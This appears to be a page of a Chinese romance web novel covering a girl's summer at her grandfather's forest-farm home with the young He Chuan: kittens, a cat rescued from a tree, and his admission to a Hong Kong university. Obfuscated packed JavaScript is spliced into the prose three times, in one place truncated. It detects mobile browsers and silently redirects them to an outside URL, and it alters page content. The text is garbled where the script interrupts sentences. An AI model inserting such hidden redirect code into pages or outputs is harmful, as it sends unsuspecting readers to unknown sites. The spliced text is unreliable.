她根本不饿,只是勉强吃了几口,林海生看了眼她碗里剩的一多半饭,虽然没有出言训她,但表情是严厉的。 老一辈人出生贫苦年代,见不得有人浪费粮食。 林夏很郁闷。 饭后,林海生回房午休,何川在房里看书,何萍收拾厨房,林夏坐在沙发上,机械的拨弄着遥控器。 林海生家也是有电视机的,但是没有安装有线频道,只有中央一台和望春市本地台,前者在放新闻,后者大部分时间都是黑屏,只是偶尔诈尸一样播放一些保健品广告,和没头没尾不知名的电影。 这个家似乎没有人需要看电视,或者说林海生只听收音机不看电视,于是其他人也就不需要了。 何萍看见林夏百无聊赖的样子,不由对她说: “夏夏,要是觉得没意思的话,让小川带你去郝婶家玩儿。” “郝婶?” “她家养了小鸡小猫,还有小兔子,你一定喜欢。” . 林夏换了一身天蓝色的裙子,跟着何川出了门。 郝婶是住在隔壁的邻居,她家房子不大,但有好大好大一片院子,院子里开垦了菜地,种了黄瓜柿子豆角茄子,一眼望去,欣欣向荣,硕果累累,打理得很好。但是院门口栓了一条灰黄相间的大狼狗,一看见林夏就叫个不停,吓得她赶紧躲在了何川身后。 “别怕,它不咬人。” 何川反手虚护着身后的林夏,喝道: “哨子,坐下!” 狼狗和何川似乎很熟悉,闻言嗷呜了一声,后肢着地,乖巧的坐了下来,还在轻轻摇着尾巴。 林夏悄悄从何川身后伸出头看了看,好奇的问: “它叫哨子?” “嗯,因为郝婶说他叫起来像哨子。” 哪里像了?林夏有点纳闷。 郝婶是个白白胖胖个头矮矮的中年女人,丈夫在林场上班,早出晚归,儿子在外地打工,常年不回,家里天天只有她一个人,所以对于串门的左邻右舍她特别欢迎。 “不愧是林老师家的闺女啊,长得真是俊!”郝婶拉着林夏的手,高兴的招呼,“吃柿子,婶儿刚摘下来洗干净的!” 绿油油的西红柿泡在凉水里,看起来就又酸又涩,林夏有些犹豫: “这个,熟了吗?” “熟了熟了,这个柿子品种就这样,叫‘贼不偷’,比红柿子黄柿子还甜!” 贼不偷?因为贼会以为青柿子没熟所以不偷吗? 林夏从水盆里捞出了一个,甩了甩上面的水渍,试探着咬了一口。 冰凉的汁水迸溅在嘴里,新鲜浓郁的番茄味道弥漫开来,清甜中还带着一丝果香,林夏从来没吃过这么好吃的柿子。 郝婶问:“好吃吧?” “嗯!”林夏连连点头,又咬了一口,含糊说,“但是这个就不能叫西红柿了,应该叫西绿柿才对。” 郝婶噗嗤一乐:“小川当初第一次吃的时候也是这么说的,你们兄妹俩个一模一样!” 显然,郝婶没弄明白两个人的辈分关系。 一般人其实也弄不明白,连林夏自己都没弄明白。 林夏悄悄看了何川一眼,发现他没什么反应,不知道是没注意听,还是不像何萍那么在乎。 怕郝婶再说出什么让人尴尬的话来,她赶紧把嘴里的柿子咽下去,对郝婶说: “是有猫吗?我想看小猫咪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627083|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“有有,跟婶儿来。” 郝婶家的猫是一只非常漂亮的三花母猫,一个月前刚下了崽,郝婶在屋里用废纸箱和旧衣服给它们搭了一个窝,猫妈妈懒洋洋的趴在一旁半眯着眼睛,三只小奶猫在窝里滚来滚去,打打闹闹。 林夏一看见这么可爱的场景,心都要化了,蹲在纸箱旁边目不转睛的看着。 但是三只小奶猫,一只白,一只深灰,一只浅灰,真的都是三花猫生的吗? “怎么妈妈是花猫,宝宝是纯色的呀?”林夏有些不解,“而且颜色还不一样。” 郝婶笑呵呵的说:“花猫不一定生出花猫啊,这小猫应该是随了爸,一窝颜色不一样很正常。” 林夏似懂非懂的点点头。 “喜欢给你抱回家养一只啊?” “不了,我就看看就好。”林夏不好意思的说。 赵倩怡不会让她养,而且她也很有自知之明,自己是养不好动物的,她连养金鱼乌龟都能养死。 何川似乎也很喜欢猫,他和她并排蹲在一起,伸手去摸小奶猫,小奶猫很黏人,抱着他的手就要往上爬。可是当林夏去摸它们的时候,刚一触碰到,小奶猫就又躲又叫,撕心裂肺,难听极了。 猫妈妈瞥了这边一眼,确认没什么大事之后又躺了回去,一副懒得管的样子。 “为什么呀?”林夏气得用身子撞了一下旁边的人,“他们为什么只跟你亲?” 何川猝不及防被撞了一个踉跄,下意识护着手上的小猫,有些哭笑不得。 “可能,它们怕生吧,刚一见你,对你身上的味道还不熟悉,你多和它们玩玩就好了。” “真的吗?” 林夏真的信了。 何川垂眸看着近在咫尺,满心满眼期待的小姑娘,几不可察轻笑了一下。 “嗯,真的。” “欸?不对啊,怎么只有三只啊?”一旁的郝婶突然发现了什么,“还有一只猫崽子呢?” 林夏奇怪:“还有吗?” “有,一只黑白花的,属那只最调皮,一不留神就没影儿了。” 于是三个人开始满屋找猫,猫妈妈对他们的行为视若无睹,不紧不慢打了个哈欠,翻身换了个更舒服的姿势,好像丢的不是自己孩子一样。 角角落落,瓶瓶罐罐都找了也没找到,何川问:“会不会跑到外面去了?” 郝婶:“不能吧,来回开门进屋我都注意着呢。” 这时候外面突然传来哨子一阵狂吠声。 三个人出了门,看见哨子抻紧了脖子上的铁链,正仰头对着旁边的一棵大树拼命叫。 林夏看见那树杈上有一小团毛茸茸的黑白色,不禁轻叫了一声: “啊,猫咪是不是在树上?” 郝婶眯眼睛仔细一看:“诶呀,还真是,这混账狗!把猫崽子逼上树了!我去拿梯子。” 何川说:“不用,郝婶你把哨子牵回去,我上去。” 何川学习那么好,林夏还以为他和那些四肢不勤的书呆子一样,没想到他说爬树转眼就爬上去了,那棵树不低,但他动作轻盈,身姿灵巧,三下五除二就抱起小猫又跳了下来,整个过程不超过一分钟。 等何川抱着小猫走到了她面前,她还有些反应不过来。 那只小猫瑟瑟发抖的缩在何川怀里,抖得十分可怜,等看清它长相的时候,林夏才有些明白哨子为什么要冲它狂吠了。小猫咪确实是黑白花的,但是那些毛色分布的很不均匀,尤其是脸上,东一块西一块,把五官糊得不像样子,整只猫都丑丑的,与它的兄弟姐妹和妈妈完全不同。 但是何川并不嫌弃,他很温柔的从头到尾抚摸着它,安慰着它,然后他蹲下身,小心翼翼的把它交给了不知何时从屋里冲出来的猫妈妈。 猫妈妈用嘴叼起小猫咪的后颈,转身就跑远了。 何川仍维持着蹲下的姿势,望着两只猫离开的背影,眉梢眼角残留着说不出的柔软笑意。 人和人之间的相处可能会有虚情假意,有奉承讨好,但人与动物之间不会,所作所为即是真心。 从那一刻起,林夏心里认定了一个事实。 眼前这个毫不犹豫爬树救猫的少年,他是个好人。 以及......她知道哨子为什么叫哨子了。 因为郝婶薅着它的颈圈,抄起擀面杖揍它的时候,它嚎叫得尖锐又委屈,真的很像有人在吹哨。 5. 波斯菊(4) 林夏一直都是在城区里长大的,没有农村亲戚,没在乡下住过。小林场虽然不算是真正的乡下,但这里的很多东西对她来说还是很新奇。 这个下午,她和何川两个人在郝婶家里,摸了小猫,喂了兔子,撵了小鸡,拣了鸡蛋,一直玩到晚上天黑了才回家,何萍已经做好饭等着他们了。 昨晚看的人类文明毁灭啊重建啊什么的,早就被林夏抛在脑后了,吃完晚饭,上床睡觉,就这样一觉到天明。 林夏开始觉得在爷爷家渡过一个暑假似乎也没那么糟糕。 然而事情很快又起了变化。 第二天上午,林夏在院子里和何萍学怎么浇水照料花圃的时候,一辆鲜红色的出租车停在了院门口。 从车上下来了一个身材微胖的中年男人,西装革履,拎着一个黑色皮箱,一副电视剧里成功人士的标准模样。 他站在院门口喊了一声:“师娘!” 何萍抬头看见来人,一下子笑容灿烂: “这不是凯仁嘛!你有些日子没来了!” 刘凯仁也笑了笑:“最近实在太忙了,没空抽时间过来,是我不对。好久没见,师娘越来越年轻了。我师叔在家吗?” “在的在的,快进来!” “这是——” 刘凯仁走进院子,看了眼林夏。 “这是老师的孙女,林夏,这是你爷爷师兄的儿子,你叫他刘叔叔。” 林夏听话喊人。 刘凯仁笑着和她打招呼,状若后悔:“早知道小侄女在这里,我就买点女孩子喜欢的东西了,这回只给小川弟弟带了礼物。” “每次来你都带礼物,太让你破费了,这么见外干什么......” 何萍边说着边把刘凯仁带进了屋内。 林夏看着被何萍随手放在地上的花洒,和浇了一半的花,想着,终于出现一个顺着何萍心意称呼她的人了,怪不得她那么开心。 她突然很好奇这个男人来找林海生是为了什么,于是她绕了房子一圈,来到客厅靠近沙发的那扇窗台下面,悄悄偷听着。 他们互相问了近况,寒暄了一阵子,开始聊正事。 “师叔,这回纪老诞辰一百周年的纪念活动,是师大、博物馆、书画协会、和我们公司联合发起的,在博物馆和师大美术馆同时举办展览,期间有一系列的讲座、活动,为期一个月,我父亲、邹师叔和王师叔也都同意参加了。我知道您不爱抛头露面,但这次不是为了功利,是为了业内同志传承纪老书画艺术,研讨其学术思想,纪念其人格风尚。你们四人是业内公认的纪老四大弟子,您若缺席,该是多大的憾事啊!” 刘凯仁说得在情在理,林海生有些动容,思考片刻说:“恩师诞辰纪念,我本是义不容辞,但那些人情往来我实在不擅长,上次在那几位老板面前闹得不欢而散,还连累了你的生意,我也很过意不去。” 刘凯仁语气诚恳:“怎么能怪师叔?上次是我没安排周全,这次保证都是文化届自己人,不会再让师叔有半点不愉快。” 林海生点了点头,但还是犹豫:“出席一两场讲座倒是可以,一个月的时间是否太长了?” “一两场讲座可绝对不行,师叔你久不露面,闭门谢客,多少人等着拜访结识!我父亲也很挂念您,想趁这次机会和您与两位师叔小聚呢!” 林海生微微一叹:“我和三位师兄弟确实很久没聚了。” 何萍开口:“老师是不是担心夏夏?不如这回我就留在家里照看孩子吧,这次机会难得,老师您千万不能错过。” 刘凯仁劝说:“欸,老师身体不好,师娘不随行的话,谁来照顾老师?我看两个孩子都那么大了,也该学会独立了......” 林夏正听得入神,突然被人从身后轻轻拍了拍肩膀,她吓得差点叫出声来。 一回头,是何川站在她身后。 偷听被抓包,林夏不禁有些尴尬,但是何川没有说什么,只是对她招了招手,示意她跟他走。 两人一前一后绕回房前,出了院子,站在树荫下,何川转过身来,刚要开口,林夏恶人先告状控诉: “你又吓到我了,这都第二回了!” 何川没想到被反咬一口,愣了一下,倒也顺着她意道了歉: “不好意思。” 林夏突然有一丝欺负老实人的罪恶感涌了上来,低头轻声说: “没事儿了...其实我刚才也不是故意的,我就是有点好奇......” 何川点了点头:“别再去了。” “哦。” 林夏应了一声,又问:“你见过这个人吗?” “见过,他每隔一段时间就会来一次。” “从哪儿来?” “北京。” “北京啊......我都没去过北京,你去过吗?” “不算去过,之前来望春在北京转过车。” “从你老家吗?你老家在哪里?” 何川顿了顿,只回答她: “很远的一个小地方。” 然后他转身向郝婶家方向走去,“不是你说想去摘樱桃嘛,走吧。” “对呀!” 林夏突然想起昨天和郝婶的约定,急忙跟上了何川的脚步: “等等我!” . 晚上等林夏和何川回家的时候,刘凯仁已经走了,何萍与林海生什么也没说,林夏觉得这个事八成是黄了。 其实她偷听着他们说话,总感觉很神奇,她知道爷爷很厉害,在书画界有名,也有很多弟子,经常去外地出差讲课什么的,但是一切好像比她想象的还厉害得多,厉害得好像根本不属于望春这个小城市一样。 爷爷和爸爸妈妈还有她,好像两个世界的人。 刘凯仁虽然走了,但是他把礼物留下了。他很会做人,投其所好,给林海生带了一方陶研,给何萍带了一套护肤品,上面全是英文,给何川带了一个非常精致的航模,看上去就很贵。尽管并没有提前给林夏准备,但他还是临时送了她一条珍珠手链,好像是原打算送给别人的。 林夏躺在床上,把玩着那串手链,怎么看怎么喜欢。手链上的珍珠其实并不是名贵货色,颜色微黄,生长纹明显,但这还是她第一次拥有比较正式的首饰呢,和以前街边买的那些便宜装饰品不同。舅舅也给过她银镯子,姥姥给过她金坠子,但都被妈妈收着,说她太小了戴不了,这个会不会也被妈妈收走呢? 她把手链戴在手腕上,跑到镜子前面左照右照,觉得和她的裙子非常搭。 要不就不告诉妈妈,自己偷偷留下? 算了,等妈妈回来再说吧,我先戴几天! 这是她睡前最后得出的结论。 那天晚上,林海生接了个电话,电话在客厅,林夏隐约听见他叫对方刘师兄,说什么不忘恩师,什么盛情难却的,她也没太在意。 没想到第二天早上一起来,林夏就惊讶的看到客厅摆着两个大行李箱,敞开口,何萍正在屋里屋外进进出出收拾东西。 林海生走了过来,对何萍说: “小何,用不着那么多东西,一个箱子就够了。” 他穿了一套灰蓝色的中山装,看起来很正式。 何萍态度坚决: “不行,您腰腿不好,睡不了宾馆的软床,这垫子这颈枕都要带着,还有这些药。您就别管了,一切有我呢!” 她一边说着,一边把手里的东西往箱子里塞。 “你呀,每次都是这样!” 林海生的语气难得有些温暖,无奈的摇了摇头。 这时候刘凯仁又和昨天一样坐着出租车来了,他下车走进门催促着: “师叔师娘,再不走就赶不上火车了!” “马上了小刘!” 何萍匆匆收拾好了所有东西,把箱子交给了刘凯 仁拿上车,拿起桌上自己的外套和背包,出门前路过林夏面前,飞快对她说: “夏夏,我和你爷爷出门一趟,我和郝婶说好了,你们可以去她家吃饭,有什么事随时找她就行。” 林海生也嘱咐了她几句: “你和小川在家注意安全,好好相处。” 然后他的目光越过林夏,对她身后的何川说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没有,我哪有那么不听话!”林夏有些不满,犹豫了一下,她没把林海生离开的事情直接说出来,试探的问: “爸,妈消气了吗?你和妈什么时候回来?” “夏夏想我们了?” 林学东笑了一下,随即又叹了口气,“夏夏,爸妈这回可能得一阵子才回去了。” “为什么?妈妈这么气啊?爸你到底干什么了?” “是你雯姨,她要在这边开个培训机构,让你妈妈来帮忙。” 林夏知道,雯姨是李雯,是赵倩怡从小一起长大最好的朋友,她嫁了一个做买卖的男人,和丈夫一起搬到了省城,赵倩怡隔三差五就去找她,也带林夏去玩过几次。 “那妈妈的工作怎么办?” “这个还没决定。” “那......你们什么时候回来啊?” “不确定,不过最迟在你开学前会回去的。” “哦。” 林夏用手指一圈圈绕着电话线,小声说: “爸爸,你一定得把妈妈带回来啊。” 林学东叹了口气,“爸爸会尽力的。” 挂了电话,林夏有些茫然的坐在沙发上。 怎么回事?妈妈怎么突然要留在省城不回来了?她很想给妈妈打个电话,但到时候妈妈肯定跟她说,大人的事小孩儿少管。妈妈在家说一不二,爸爸能不能把妈妈劝回来呀? 她最后还是没有把爷爷出门的事情告诉爸爸,总觉得这么关键的时刻,她不能给爸爸拖后腿。 何川刷完碗从厨房出来,看见林夏没精打采的样子,一边擦手一边说: “你要回家吗?我可以送你回去。” 林夏摇了摇头:“不回。” 一个人待在家里更无聊,没饭吃,还不如留在这里呢。 “郝婶做饭好吃吗?”她可怜兮兮的问。 “不用麻烦郝婶,我可以做。” 林夏瞪大了眼睛:“真的吗?” “之前也都是我自己在家做的,别担心。” 6. 波斯菊(5) 赵倩怡是学声乐出身,一直都有艺术梦想,但由于种种原因没有实现,于是对女儿寄予厚望。从小开始,林夏就不停上课外班,学乐器,没有天赋,学书法,坐不住板凳,学舞蹈,赵倩怡嫌教课的老师不专业,学美术,这回终于找对方向了。 赵倩怡对林夏说,你的手是拿画笔的,画好画就行了,所以林夏至今不会家务,不会做饭,甚至不会开煤气灶。虽然娇惯了一点,但身边的同龄人大多也没什么自理能力,毕竟他们被专家学者称为“垮掉的一代”,得对得起这个称号。 但是林夏相信,如果那些专家看见此时此刻的何川,就绝不会这么说了。 林海生家有电有自来水,但是厨房还不是煤气灶,而是农村那种烧柴火的炉灶,何川一个人,从劈柴,到点火,到做饭炒菜,一套功夫下来,动作行云流水,熟练极了。 菜出锅,一个炖豆角,一个炒三丝,味道还不错。 林夏目瞪口呆。 “你几岁开始学做饭的?” “很小的时候,记不太清了。” “真厉害!” 林夏由衷感到钦佩,这回她不担心饿死了。 下午的时候,郝婶来看他们,给他们带了很多自家种的菜,一块猪肉,一只收拾好了的白条鸡,还有鸡蛋,告诉他们有事随时去找家里找她,还夸何川懂事能干,似乎对林海生何萍随时出远门这件事也很司空见惯。 林夏与何川,两个人的夏天,就这样突如其来的开始了。 接下来的几天里,林夏白天去郝婶家和猫猫狗狗兔子玩儿,晚上回家吃何川做的饭,他每天都征求她的意见,而她也毫不犹豫的提要求,何川顺着她的口味,几顿饭下来,林夏甚至觉得自己有越来越胖的趋势了。 而且何川不仅很会做饭,刷碗、擦地、收拾屋子,所有家务他都做的特别认真特别好,映衬得林夏四肢不勤,好吃懒做,非常没用。未免太过愧疚,她要求帮手,何川开始说不用,在林夏软磨硬泡下,这才象征性的安排她做了些类似扒蒜倒垃圾这种可有可无的杂事,林夏对此很满意。 她觉得何川真好,谁要是和他一起生活可真是幸福。 林海生和何萍这样一走了之后,林夏的生活质量非但没有下降,反而更加自在了,不用再守各种规矩,想干什么就干什么,实在太好了,她之前所有的担心茫然就这样全都一扫而光了! . 这天上午,林夏接了一个电话。 “你好?” 对面响起一个女人的声音: “你好,请问是何川同学的家吗?” “是的。” “我是他的班主任老师,麻烦找他接一下电话。” 林夏叫来了何川,后者接过电话说了几句,然后他对林夏说: “我出去一趟很快回来,你在家锁好门窗,别出去。” “你去哪里?” “学校。” “去干嘛?” “去取录取通知书。” 说完他进屋换了衣服出来,正在把自行车往院外推,没想到林夏跟着跑了出来。 “我也去!” 她换了一身绿色碎花的连衣裙,头上戴了一顶编织草帽。 “我已经在郝婶家玩腻了,电视也没什么可看的,带我出去溜达一圈吧,求你了!” 她可怜兮兮的软声央求,何川没法拒绝,他思考了一下,答应了她。 “好吧。” 小林场地处偏僻,人烟稀少,留她一个人看家他其实也不太放心。 “好耶!” 见他点头,林夏欢呼了一声。 “那坐线车吧。” 何川把自行车往回推。 林夏急忙阻止:“不坐线车,坐那个我晕车!” 线车就是林学东带林夏来时坐的中巴,往返于小林场与市区之间,车票一元,每天不定时间发车,没有固定车站,招手即停。 “你骑车载我就行,这不是有座嘛!” 林夏指了指自行车后面,那虽然只有绑行李的铁架子,但是也能坐人。 何川也看了一眼,犹豫了一下,对她说: “等一等。” 他进了屋,不一会儿拿了一个厚厚的棉坐垫和一条绳子出来,把坐垫用绳子绑在了铁架上,用手使劲按了一下试试厚度。 “好了,坐吧。” 林夏依言坐了上去,身下软绵绵的一点也不硌人,她很开心的笑道: “谢谢!” 何川嗯了一声,抬腿跨上了车座,又想起来什么,低声说: “要是,坐不稳,就抓着我的衣服吧。” “好!” 今日天气晴朗,阳光明媚,万里无云,从小林场到市区这一路并不好骑车,路面坑坑洼洼,高低起伏,时而上蹬时而下坡,很是费力。但沿途风景却实在是优美,山林野花,远山良田,空气中弥漫着若有若无的清新松香。 时值七月,正是夏花灿烂时,路两边开满了鲜艳的小花,不知是人工栽种,还是野生野长,深粉、浅粉、紫红、雪白,参差错落,非常好看。这是本地常见的一种花,老人家叫扫帚梅,也有叫秋英的,林夏也是很多年后才知道,这就是她小时候曾在日本动画片《花仙子》片头曲里听见过的那种小蓓用来做帽子的神秘花朵——波斯菊。 这个夏天,何川无数次骑自行车载着林夏往返这条小路,他们无数次穿行在这片波斯菊花海中。 后来林夏在画色彩的时候,总是不自觉用这种花朵同名的颜料来表现夏天,有些时候潜意识往往比人们自己更了解自己,就是这些回忆里润物无声的细枝末节,填充了一个人从少到老,鲜活真实的一生,虽然平凡,却是独一无二,绝无仅有的一生。 . 大约半个多小时后,两个人终于来到了市区,何川熟门熟路的带着她来到了学校门口。 实验高中,这也是林夏马上要入学的地方,她这才发现,原来何川还是她的学长,只不过当她九月份入学的时候,他就不在这里了,两个人刚好错过。 校门外贴了一张光荣榜,上面写了学生排名、成绩、录取学校什么的,红底黄字,很土气,但也很喜庆。正有三三两两的家长和路人在围观,林夏也好奇的走上前看了看。 这一看之下,十分意外,何川确实不是全市第一,但他是全校第二,全市第三,和文科状元差了就不到五分。 林夏知道何川学习好,但没想到他学习这么好,那她在他面前炫耀中考成绩,是不是有点......不自量力了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627085|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想起那天晚上的情形,林夏特别不好意思,脸有些微微发红,但何川并没有注意,他将学生证给门卫大爷看完后,伸手招呼她: “进来吧。” 林夏跟在何川身后进了学校,拉下帽沿把自己整个脸盖住,连未来的学校都没心情仔细看了。 进主教学楼,上了三楼高三年组办公室。现在正是暑假,整个学校都很安静,只有这层楼里还有老师学生忙进忙出,在办理志愿录取的各种事务。 何川敲门进了办公室,林夏留在门外偷偷往里看,何川班主任老师是个瘦小的中年女人,戴一副厚厚的眼镜,头发随便梳了一个低马尾,是非常典型的优秀老教师形象。 何川从她手里接过了一个大信封,当场拆开看了起来,不知道为什么,林夏感觉到他由衷的松了一口气,紧绷的肩膀微微放下,仿佛心底里一块石头终于落地了一般。 但班主任似乎并不认同,她眉头紧皱,脸色不太好看,推了推鼻梁上的眼镜,几乎是痛心疾首的说: “你说说你这孩子,成绩明明可以冲一冲清北的,再不济总能是人大,怎么就偏偏选了这个香港的大学呢?它既不是985也不是211,将来毕业能有什么优势?何川,你要想清楚啊!” “老师,我已经想清楚了。” “诶呀,你这孩子怎么这么倔!”班主任摘下眼镜,特别无奈的摆了摆手,招呼同事: “你们也都帮我劝劝他啊!” 这个办公室都是高三的老师,自然也都认识这个重点班数一数二的好学生,港中文大学的录取在这个年代,在这个城市,确实罕见,早就在学校里传开了。众人不禁围了上来,七嘴八舌一通说: “这是估错了分数,还是填错志愿了啊?因为是零表提前批次被提档了吗?” “你家长同意你报考这个学校吗?老师必须要和你妈妈谈一谈。” “我听说香港消费不是一般的高,虽然你拿了全额奖学金,但生活费负担太大,家里能吃得消吗?” “要不复读一年?以你的能力,努努力明年清北跑不了!” 林夏在门外看着,也不由倒吸了一口冷气,为何川捏了把汗。 从小到大,林夏学习都不算拔尖,又因为爱臭美,有主意,不服管,还是艺术生,几乎比坏学生还要不得老师欢心,所以她也一直很怕老师,要是她被一堆老师这样围攻劝说,她早就举手投降,他们说什么是什么了。 然而何川却毫不动摇,他脸色平静,无波无澜,有条不紊,一一回答所有老师的问题: “没估错,没报错。” “不用跟我母亲说,她出远门了,这件事我自己可以做主。” “我会勤工俭学,不会管家里要钱。” “我不会复读,不要985不要211,我要念的,是香港中文大学,我会去报道的,这件事不会改变!” 十九岁的少年,他站在那里,背脊挺直,如同暴风雨中心的一滴水,和全世界对抗着,仍是坚定的走所有人都不理解的那条路。 那一天的这一幕久久留在林夏回忆之中,从这个少年的身上,林夏隐约明白了,人必须自己决定自己的人生,也必须自己为自己负责,成功也好,失败也罢,只要拼尽全力,就是无悔无憾。 7. 波斯菊(6) 出了教学楼后,林夏把何川的录取通知书借来看,非常简单普通的一张通知,白纸黑字写着开学时间,学费说明,报道要求等等,因为要出境,所以对比其他学校,还额外有签证要求,并附上了流程介绍与需要填写邮寄的相关表格和文件。 “你们竟然8月15日就开学了,”林夏不免惊讶,“好早啊。” 距离现在只有一个月时间了,而她们高中要到9月份才开学呢。 “嗯。” 何川对此似乎并不在意,他将录取书认真的折好,放回了信封里,对她说: “回去吧。” 两个人往校门口走去,离得还远的时候,就看见校门外站着一个人,在冲二人拼命挥手。 走得近了,发现那是个十八九岁的男生,戴着眼镜,相貌周正,他指着门上挂的条幅,大着嗓门喊着: “我说这个是我,门卫大爷还偏不信,不让我进去,这都放假了,学校里没人,你说他管那么严干嘛?” 林夏顺着他指的看过去,条幅上写着: 热烈祝贺我校谭之舟同学考入北京大学 原来这个男生就是谭之舟,光荣榜上第一名,今年的全市文科状元。 何川问:“你没带学生证?” “那破玩意儿考完我就扔了,谁还留着啊!” 谭之舟看见一旁的林夏,不由撞了一下何川肩膀,调侃说: “可以啊你小子,终于开窍了!这是小学妹吧?什么时候处上的?” 林夏不禁非常窘迫,这不是第一个搞不清她和何川关系的人,但是却是第一个误以为他们是...他们是男女朋友的人。 何川瞪了谭之舟一眼,低声说: “她是林伯伯的孙女。” 谭之舟一愣,随后脸上浮现一丝尴尬: “哦哦,这样啊,是我搞错了。不过这么说来,你们不就是叔侄了?” 他对何川的家事倒是很熟悉。 谭之舟随即扭头冲林夏笑得欠扁:“我是你何川小叔叔的同学谭之舟,按照辈分,你就也叫我一声谭叔叔吧。” 林夏有些不高兴:“我不叫他叔叔的。” “那叫什么?” 叫什么来着?她好像,一直都没叫过他。 想了想,她说: “叫何川。” “这不就没礼貌了,至少叫一声哥哥吧。” “不,就叫何川。” 林夏也不知道自己为什么坚持。 谭之舟还想说什么,被何川打断: “行了,别欠儿了。东西带来了吗?” 谭之舟这才想起来被何川叫出来到主要目的,于是把手里的塑料袋子递给他: “喏,给你,之前你不是不爱看吗?再晚说几天,就要被我老妈卖废纸了。” 何川接过来看了一眼,然后递给了林夏: “这些行吗?” 林夏莫名其妙接了过来,打开一看,里面居然是几十本漫画杂志。 “这是?” “给你的。” 林夏这才想起来,她来爷爷家第一天晚上,去书房找书的时候,好像说过一句,她喜欢看漫画书。 没想到,他居然一直记得,还帮她从同学那里借来了。 林夏超级开心,她抱着这袋子书拼命点头: “行行行!我最喜欢看这个了!” 之前她一直求赵倩怡给她订这个杂志,赵倩怡说什么也不答应,她又特别想知道后面连载的剧情,所以只能每月出新刊的时候都跑去学校对面的小书店里赖着不走,久而久之老板都认识她了,每次都不耐烦的赶她走,特别丢人! 她对何川和谭之舟甜甜一笑,小虎牙若隐若现: “谢谢!” 何川淡淡说不用,谭之舟倒是被她笑得有些不好意思,直接说: “你要喜欢就送你了,反正我上大学也带不走。” 何川从林夏手里拿过沉甸甸的袋子,顺手把录取通知书也放了进去,谭之舟看见了便说: “取回来了?来来,给我看看!” 看来大家都对这封来自那个只在电视里听过的遥远城市很好奇。 谭之舟从头尾到,包括反正面都看了一遍,啧啧了两声: “这该说是敷衍还是朴素?我还以为北大的录取通知书已经够简陋了,你这更简陋!港中文这么穷吗?” 何川从他手里把通知书拿回来,笑骂道:“得了,别见缝插针炫耀了,三句话不离北大!” “哈哈,我千辛万苦考上的我为什么不炫耀?光北大这两个字我能炫耀一辈子!谁让你不考啊!”谭之舟嘿嘿一笑,“今天又被老班围攻了吧?他们让你复读了?” 何川没回答,算是默认。 “前天我来学校取通知书的时候,她就拉着我唠叨半天,让我劝你,我说你是榆木疙瘩死心眼,我可劝不动。呵,别以为我不知道他们打的什么主意,一个清华北大他们多少奖金,一个人大复旦他们多少奖金,这都是有数的。年年跟逸夫中学打擂台,打魔障了都,今年第一第三都是实验的,他们还不满意,还惦记着明年,做什么美梦呢!” 谭之舟对此嗤之以鼻。 少年人总是愤世嫉俗,藐视一切,不屑于既定规则,以为只有自己掌握的才是真理,越聪明的人越是如此。不过谭之舟确实有狂傲的资本,在望春这个偏远的小城市,清华北大不是年年都出,有这么一个学校巴不得供起来,这番话就是当着班主任的面他也敢说。 何川却很平静:“他们也是为了我好。” “喂!何川!你小子不会妥协了吧?可别被他们洗脑了啊,他们懂什么呀,整天就知道清北清北,坐井观天,难得我这么佩服你一次,你可别放弃啊!” “不会。他们觉得自己为了我好,是事实。” 何川笑了一下,轻声说, “但是,那对我来说都不重要。” . 录取通知书上要求用传真或者电邮向学校回复一份“确认录取回函”,何川本来想去网吧,但谭之舟说他家有电脑,强行把何川和林夏带去了他家里,他家就在学校附近不远。 回复完之后,谭之舟又拉着何川打游戏。 “以前找你玩,你怕耽误学习说什么也不肯,熄灯了也要打着手电在被窝里看书,周末好不容易放半天假你也不离开书桌,现在终于熬出头了,求求你何大爷陪我玩两把吧!” 何川犹豫了一下,看向林夏。 吃人嘴短,拿人手软,林夏连忙点头:“你们玩呀!我没关系的,我有漫画看!” “看咱林夏小妹妹多通情达理!等着,我去插电源!”谭之舟生怕何川反悔,飞快跑去了客厅。 于是两个少年用外接游戏手柄在电视机上打魂斗罗,林夏坐在一边看漫画杂志,手边就有谭之舟拿出来的零食饮料招待他们,谭家爸妈去上班了没在家,三个人就这样渡过了大半天悠闲时光,离开的时候已经是下午了。 装着漫画书的袋子很沉,不方便背在后背或者放在前面篮筐里,回程的路上,林夏就坐在自行车后座上抱着袋子,看着近在眼前的少年背影,她想说什么又不知道怎么开口,只好东拉西扯的闲聊。 “你每天这样骑自行车去学校累不累啊?” 何川的声音从前面传来: “高中时我是住校的。” “强制住校吗?我可不想住。” “不强制,也有很多走读生。” “那就好。”林夏想了想又问,“谭之舟是你室友吗?” “我们是上下铺。” “怪不得你们那么要好。” 何川平时看起来太沉稳太平静了,有点老气横秋,只有在谭之舟面前才有几分这个年纪该有的少年跳脱。 “嗯,”何川轻轻应了一声,“我们高一就在一个班,他是我唯一的朋友。” “没有别的了吗?” “别人应该就只是同学了。” “为什么啊?” “因为......”他顿了顿,“因为大家都忙着学习,没时间理别人。” 高中这么恐怖吗?林夏对于即将到来的实验高中生活不免产生了些害怕。 